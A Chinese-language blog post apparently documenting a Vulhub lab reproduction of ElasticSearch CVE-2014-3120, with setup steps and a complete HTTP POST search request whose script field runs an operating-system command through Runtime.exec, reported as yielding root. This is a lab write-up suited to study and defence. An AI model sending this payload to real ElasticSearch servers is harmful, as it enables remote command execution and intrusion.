首页 > 其他分享 >Vulhub ElasticSearch

Vulhub ElasticSearch

时间:2022-11-25 11:00:58浏览次数:47  
标签:Vulhub HTTP 9200 端口 application ElasticSearch

Vulhub ElasticSearch

默认情况下,ElasticSearch使用两个端口监听外部TCP流量
9200端口:用于所有通过HTTP协议进行的API调用。包括搜索、聚合、监控以及所有通过HTTP协议进行的API调用。包括搜索、聚合、监控以及
任何使用HTTP协议的请求,所有的客户端都会使用该端口与ElasticSearch
9300端口:是一个自定义的二进制协议,用于集群中各个节点之间的通信。用于诸如集群变更、
主节点选取、节点加入/离开、分片分配等事项。

CVE-2014-3120

一、进入环境

docker-compose bulid

docker-compose up -d

二、访问9200端口

 

 

 

 刚开始测试的时候,一直失败,后面发现了应该把这个连接方式改为POST

 

 三、输入payload

POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en
User-Agent: ozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 356

{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}

获得root

 

标签:Vulhub,HTTP,9200,端口,application,ElasticSearch
From: https://www.cnblogs.com/manmanwei/p/16924457.html

相关文章

  • ElasticSearch中查询(排序、高亮、分页、Filter过滤、_source筛选)
    排序(sort)sort可以让我们按照不同的字段进行排序,并且通过order指定排序的方式asc升序desc倒序GETmy_index/_search{"query":{"match":{"title":......
  • PHP 如何使用 Elasticsearch API接口
    一、实战场景如何在 PHP 中使用 ElasticsearchAPI 接口二、知识点PHPElasticsearchRestful 接口三、菜鸟实战1、安装 Elasticsearch 官方 PHPSDK​​https://gith......
  • elasticsearch镜像启动时报错
    报错:Errorresponsefromdaemon:OCIruntimecreatefailed:container_linux.go:380:startingcontainerprocesscaused:process_linux.go:545:containerinitcause......
  • springboot整合Elasticsearch
    springboot   2.2.5.RELEASEElasticsearch   7.17.6Elasticsearch下载地址https://www.elastic.co/cn/downloads/elasticsearch还有个大概的对应版本图: ......
  • elasticsearch7报错解决
    @​​TOC​​​系统​​:centos7​​es版本​​:elasticsearch-7.17.6​​后台启动​​:./elasticsearch-d1.ThereisinsufficientmemoryfortheJavaRuntimeEnvironm......
  • Windows 下 ElasticSearch8.5.1下载安装及使用
    ElasticSearch下载安装及使用前言Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式的全文搜索引擎,基于restfulweb接口。Elasticsearch是用Java语言开发......
  • 如何安装 Elasticsearch
    实战场景如何安装Elasticsearch知识点CentOSJavaElasticsearch安装Kibana安装菜鸟实战Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的......
  • elasticSearch基础(二)
    1.DSL查询文档elasticsearch的查询依然是基于JSON风格的DSL来实现的。1.1.DSL查询分类Elasticsearch提供了基于JSON的DSL(DomainSpecificLanguage)来定义查询。常见的查......
  • Elasticsearch-集群架构详解
    作者:少强原文:https://zhuanlan.zhihu.com/p/32990496分布式系统类型多,涉及面非常广,不同类型的系统有不同的特点,批量计算和实时计算就差别非常大。这篇文章中,重点会讨......
  • windows elasticsearch中文乱码
    一:找到安装目录下的config jvm.options文件  二:修改或增加:-Dfile.encoding=GBK  参考文章地址:https://www.shuzhiduo.com/A/rV57OjRL5P/......